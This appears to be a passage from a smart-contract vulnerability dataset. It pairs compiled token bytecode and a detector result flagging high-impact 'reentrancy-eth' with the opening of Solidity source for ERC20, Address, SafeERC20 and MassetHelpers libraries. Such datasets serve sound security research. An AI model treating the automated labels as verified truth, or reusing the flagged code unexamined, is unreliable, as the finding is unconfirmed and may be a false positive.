b8383905081101561134d5781600560008686858181106112d4576112d3613a7a565b5b90506020020160208101906112e99190612ebb565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611345906139d3565b9150506112b1565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113e8611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611475576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146c906135e7565b60405180910390fd5b8060188190555050565b611487611641565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611514576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161150b906135e7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611584576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157b90613547565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b090613667565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611729576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161172090613567565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118079190613687565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611884576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161187b90613627565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118eb906134c7565b60405180910390fd5b60008111611937576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192e90613607565b60405180910390fd5b61193f610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119ad575061197d610e87565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611ef357601660149054906101000a900460ff16611a3c576119ce610e87565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a3b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a32906134e7565b60405180910390fd5b5b601754811115611a81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7890613527565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b255750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b5b90613587565b60405180910390fd5b6002600854611b7391906137bd565b4311158015611bcf5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c295750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611c6157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cbf576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611d6c5760185481611d2184610c3e565b611d2b91906137bd565b10611d6b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d6290613647565b60405180910390fd5b5b6000611d7730610c3e565b9050600060195482101590506017548210611d925760175491505b808015611dac5750601660159054906101000a900460ff16155b8015611e065750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e1c575060168054906101000a900460ff165b8015611e725750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611ec85750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611ef057611ed6826123c1565b60004790506000811115611eee57611eed47612258565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611f9a5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061204d5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561204c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561205b57600090506121e2565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121065750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561211e57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121c95750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156121e157600b54600d81905550600c54600e819055505b5b6121ee84848484612649565b50505050565b600083831115829061223c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223391906134a5565b60405180910390fd5b506000838561224b919061389e565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122a860028461267690919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156122d3573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61232460028461267690919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561234f573d6000803e3d6000fd5b5050565b600060065482111561239a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239190613507565b60405180910390fd5b60006123a46126c0565b90506123b9818461267690919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156123f9576123f8613aa9565b5b6040519080825280602002602001820160405280156124275781602001602082028036833780820191505090505b509050308160008151811061243f5761243e613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156124e157600080fd5b505afa1580156124f5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125199190612ee8565b8160018151811061252d5761252c613a7a565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061259430601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611649565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016125f89594939291906136a2565b600060405180830381600087803b15801561261257600080fd5b505af1158015612626573d6000803e3d6000fd5b50505050506000601660156101000a81548160ff02191690831515021790555050565b80612657576126566126eb565b5b61266284848461272e565b806126705761266f6128f9565b5b50505050565b60006126b883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061290d565b905092915050565b60008060006126cd612970565b915091506126e4818361267690919063ffffffff16565b9250505090565b6000600d541480156126ff57506000600e54145b156127095761272c565b600d54600f81905550600e546010819055506000600d819055506000600e819055505b565b600080600080600080612740876129d2565b95509550955095509550955061279e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a3a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061287f81612ae2565b6128898483612b9f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128e69190613687565b60405180910390a3505050505050505050565b600f54600d81905550601054600e81905550565b60008083118290612954576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294b91906134a5565b60405180910390fd5b50600083856129639190613813565b9050809150509392505050565b600080600060065490506000683635c9adc5dea0000090506129a6683635c9adc5dea0000060065461267690919063ffffffff16565b8210156129c557600654683635c9adc5dea000009350935050506129ce565b81819350935050505b9091565b60008060008060008060008060006129ef8a600d54600e54612bd9565b92509250925060006129ff6126c0565b90506000806000612a128e878787612c6f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000612a7c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506121f4565b905092915050565b6000808284612a9391906137bd565b905083811015612ad8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612acf906135a7565b60405180910390fd5b8091505092915050565b6000612aec6126c0565b90506000612b038284612cf890919063ffffffff16565b9050612b5781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612a8490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612bb482600654612a3a90919063ffffffff16565b600681905550612bcf81600754612a8490919063ffffffff16565b6007819055505050565b600080600080612c056064612bf7888a612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c2f6064612c21888b612cf890919063ffffffff16565b61267690919063ffffffff16565b90506000612c5882612c4a858c612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612c888589612cf890919063ffffffff16565b90506000612c9f8689612cf890919063ffffffff16565b90506000612cb68789612cf890919063ffffffff16565b90506000612cdf82612cd18587612a3a90919063ffffffff16565b612a3a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612d0b5760009050612d6d565b60008284612d199190613844565b9050828482612d289190613813565b14612d68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d5f906135c7565b60405180910390fd5b809150505b92915050565b6000612d86612d818461373c565b613717565b90508083825260208201905082856020860282011115612da957612da8613ae2565b5b60005b85811015612dd95781612dbf8882612de3565b845260208401935060208301925050600181019050612dac565b5050509392505050565b600081359050612df281613ee2565b92915050565b600081519050612e0781613ee2565b92915050565b60008083601f840112612e2357612e22613add565b5b8235905067ffffffffffffffff811115612e4057612e3f613ad8565b5b602083019150836020820283011115612e5c57612e5b613ae2565b5b9250929050565b600082601f830112612e7857612e77613add565b5b8135612e88848260208601612d73565b91505092915050565b600081359050612ea081613ef9565b92915050565b600081359050612eb581613f10565b92915050565b600060208284031215612ed157612ed0613aec565b5b6000612edf84828501612de3565b91505092915050565b600060208284031215612efe57612efd613aec565b5b6000612f0c84828501612df8565b91505092915050565b60008060408385031215612f2c57612f2b613aec565b5b6000612f3a85828601612de3565b9250506020612f4b85828601612de3565b9150509250929050565b600080600060608486031215612f6e57612f6d613aec565b5b6000612f7c86828701612de3565b9350506020612f8d86828701612de3565b9250506040612f9e86828701612ea6565b9150509250925092565b60008060408385031215612fbf57612fbe613aec565b5b6000612fcd85828601612de3565b9250506020612fde85828601612ea6565b9150509250929050565b60008060006040848603121561300157613000613aec565b5b600084013567ffffffffffffffff81111561301f5761301e613ae7565b5b61302b86828701612e0d565b9350935050602061303e86828701612e91565b9150509250925092565b60006020828403121561305e5761305d613aec565b5b600082013567ffffffffffffffff81111561307c5761307b613ae7565b5b61308884828501612e63565b91505092915050565b6000602082840312156130a7576130a6613aec565b5b60006130b584828501612e91565b91505092915050565b6000602082840312156130d4576130d3613aec565b5b60006130e284828501612ea6565b91505092915050565b6000806000806080858703121561310557613104613aec565b5b600061311387828801612ea6565b945050602061312487828801612ea6565b935050604061313587828801612ea6565b925050606061314687828801612ea6565b91505092959194509250565b600061315e838361316a565b60208301905092915050565b613173816138d2565b82525050565b613182816138d2565b82525050565b600061319382613778565b61319d818561379b565b93506131a883613768565b8060005b838110156131d95781516131c08882613152565b97506131cb8361378e565b9250506001810190506131ac565b5085935050505092915050565b6131ef816138e4565b82525050565b6131fe81613927565b82525050565b61320d81613939565b82525050565b600061321e82613783565b61322881856137ac565b935061323881856020860161396f565b61324181613af1565b840191505092915050565b60006132596023836137ac565b915061326482613b02565b604082019050919050565b600061327c603f836137ac565b915061328782613b51565b604082019050919050565b600061329f602a836137ac565b91506132aa82613ba0565b604082019050919050565b60006132c2601c836137ac565b91506132cd82613bef565b602082019050919050565b60006132e56026836137ac565b91506132f082613c18565b604082019050919050565b60006133086022836137ac565b915061331382613c67565b604082019050919050565b600061332b6023836137ac565b915061333682613cb6565b604082019050919050565b600061334e601b836137ac565b915061335982613d05565b602082019050919050565b60006133716021836137ac565b915061337c82613d2e565b604082019050919050565b60006133946020836137ac565b915061339f82613d7d565b602082019050919050565b60006133b76029836137ac565b91506133c282613da6565b604082019050919050565b60006133da6025836137ac565b91506133e582613df5565b604082019050919050565b60006133fd6023836137ac565b915061340882613e44565b604082019050919050565b60006134206024836137ac565b915061342b82613e93565b604082019050919050565b61343f81613910565b82525050565b61344e8161391a565b82525050565b60006020820190506134696000830184613179565b92915050565b600060208201905061348460008301846131e6565b92915050565b600060208201905061349f60008301846131f5565b92915050565b600060208201905081810360008301526134bf8184613213565b905092915050565b600060208201905081810360008301526134e08161324c565b9050919050565b600060208201905081810360008301526135008161326f565b9050919050565b6000602082019050818103600083015261352081613292565b9050919050565b60006020820190508181036000830152613540816132b5565b9050919050565b60006020820190508181036000830152613560816132d8565b9050919050565b60006020820190508181036000830152613580816132fb565b9050919050565b600060208201905081810360008301526135a08161331e565b9050919050565b600060208201905081810360008301526135c081613341565b9050919050565b600060208201905081810360008301526135e081613364565b9050919050565b6000602082019050818103600083015261360081613387565b9050919050565b60006020820190508181036000830152613620816133aa565b9050919050565b60006020820190508181036000830152613640816133cd565b9050919050565b60006020820190508181036000830152613660816133f0565b9050919050565b6000602082019050818103600083015261368081613413565b9050919050565b600060208201905061369c6000830184613436565b92915050565b600060a0820190506136b76000830188613436565b6136c46020830187613204565b81810360408301526136d68186613188565b90506136e56060830185613179565b6136f26080830184613436565b9695505050505050565b60006020820190506137116000830184613445565b92915050565b6000613721613732565b905061372d82826139a2565b919050565b6000604051905090565b600067ffffffffffffffff82111561375757613756613aa9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006137c882613910565b91506137d383613910565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561380857613807613a1c565b5b828201905092915050565b600061381e82613910565b915061382983613910565b92508261383957613838613a4b565b5b828204905092915050565b600061384f82613910565b915061385a83613910565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561389357613892613a1c565b5b828202905092915050565b60006138a982613910565b91506138b483613910565b9250828210156138c7576138c6613a1c565b5b828203905092915050565b60006138dd826138f0565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006139328261394b565b9050919050565b600061394482613910565b9050919050565b60006139568261395d565b9050919050565b6000613968826138f0565b9050919050565b60005b8381101561398d578082015181840152602081019050613972565b8381111561399c576000848401525b50505050565b6139ab82613af1565b810181811067ffffffffffffffff821117156139ca576139c9613aa9565b5b80604052505050565b60006139de82613910565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a1157613a10613a1c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613eeb816138d2565b8114613ef657600080fd5b50565b613f02816138e4565b8114613f0d57600080fd5b50565b613f1981613910565b8114613f2457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208773135d38238b2cea242c001e6de0954a0c196415efbebb56eb023ffead018964736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 8,946 |
0x6d0fc7c4284bc607680b9504c5947587ce1218e6
|
/**
*Submitted for verification at Etherscan.io on 2021-09-16
*/
pragma solidity 0.8.6;
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library MassetHelpers {
using SafeERC20 for IERC20;
function transferReturnBalance(
address _sender,
address _recipient,
address _bAsset,
uint256 _qty
) internal returns (uint256 receivedQty, uint256 recipientBalance) {
uint256 balBefore = IERC20(_bAsset).balanceOf(_recipient);
IERC20(_bAsset).safeTransferFrom(_sender, _recipient, _qty);
recipientBalance = IERC20(_bAsset).balanceOf(_recipient);
receivedQty = recipientBalance - balBefore;
}
function safeInfiniteApprove(address _asset, address _spender) internal {
